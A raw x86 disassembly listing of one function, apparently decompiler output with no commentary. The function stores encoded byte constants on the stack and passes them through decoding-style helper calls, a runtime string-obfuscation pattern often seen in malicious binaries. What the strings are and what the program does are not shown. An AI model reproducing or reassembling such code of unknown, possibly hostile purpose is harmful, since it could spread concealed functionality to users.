mov dword [ebp - 0x181], 0x949097
mov esi, esp
mov byte [ebp - 0x17d], 1
call fcn.00409ee0
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1f0], 0x929b94ba
mov dword [ebp - 0x1ec], 0x9593969b
mov esi, esp
mov word [ebp - 0x1e8], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x8b
mov dword [ebp - 0x239], 0x9a9f87a4
mov dword [ebp - 0x235], 0x92959a9d
sub esp, 0x18
mov word [ebp - 0x231], 0x92
lea ecx, [ebp - 0x239]
mov byte [ebp - 0x22f], 1
mov esi, esp
call fcn.00408b90
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x223]
sub esp, 0x18
mov dword [ebp - 0x223], 0x858490a0
mov dword [ebp - 0x21f], 0x92959a99
mov esi, esp
mov word [ebp - 0x21b], 0x92
mov byte [ebp - 0x219], 1
call fcn.00408b90
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x11b]
mov dword [ebp - 0x11b], 0x98b5b4ad
mov dword [ebp - 0x117], 0x1009791
mov esi, esp
call fcn.0040c400
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x849796ae
mov word [ebp - 0x18], 0x90
mov byte [ebp - 0x16], 1
call fcn.00467da0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x8f
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413090
sub ecx, edx
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x8e
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0x94809090
mov dword [ebp - 0x2a], 0x949097
mov byte [ebp - 0x26], 1
call fcn.00467b90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0x91
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413100
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x90
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x9e919c90
mov dword [ebp - 0x58], 0x9896988c
mov dword [ebp - 0x54], 0x909493
mov byte [ebp - 0x50], 1
call fcn.00467b20
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x93
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413176
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x92
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x92829cb8
mov dword [ebp - 0x34], 0x9593969b
mov word [ebp - 0x30], 0x100
call fcn.00467a30
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4131e7
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x94
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x939290a6
mov dword [ebp - 0x3e], 0x9593969b
mov word [ebp - 0x3a], 0x100
call fcn.00467a30
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x97
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413258
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x96
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x89]
mov dword [ebp - 0x89], 0x939394b0
mov dword [ebp - 0x85], 0x888f9599
mov dword [ebp - 0x81], 0x969fb0dc
mov dword [ebp - 0x7d], 0x77676f6e
mov word [ebp - 0x79], 0x100
call fcn.00467a90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x89]
mov byte [ebp - 4], 0x99
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4132e6
sub ecx, edx
lea eax, [ebp - 0x89]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x98
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x4f]
mov dword [ebp - 0x4f], 0x909290b8
mov dword [ebp - 0x4b], 0xb7da8b9d
mov dword [ebp - 0x47], 0x9b8b95
mov byte [ebp - 0x43], 1
call fcn.00467b20
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402ac0
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x9b
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413360
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
mov byte [ebp - 4], 0x9a
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x30
lea ecx, [ebp - 0x740]
call fcn.004028d0
lea ecx, [ebp - 0x470]
call fcn.004028d0
lea ecx, [ebp - 0x758]
call fcn.004028d0
lea ecx, [ebp - 0x770]
call fcn.004028d0
lea ecx, [ebp - 0x788]
call fcn.004028d0
lea ecx, [ebp - 0x7a0]
call fcn.004028d0
lea ecx, [ebp - 0x7b8]
call fcn.004028d0
lea ecx, [ebp - 0x7d0]
call fcn.004028d0
lea ecx, [ebp - 0x7e8]
call fcn.004028d0
lea ecx, [ebp - 0x800]
call fcn.004028d0
lea ecx, [ebp - 0x488]
call fcn.004028d0
lea ecx, [ebp - 0x818]
call fcn.004028d0
lea ecx, [ebp - 0x830]
call fcn.004028d0
lea ecx, [ebp - 0x848]
call fcn.004028d0
lea ecx, [ebp - 0x860]
call fcn.004028d0
lea ecx, [ebp - 0x878]
call fcn.004028d0
lea ecx, [ebp + 8]
call fcn.004028d0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret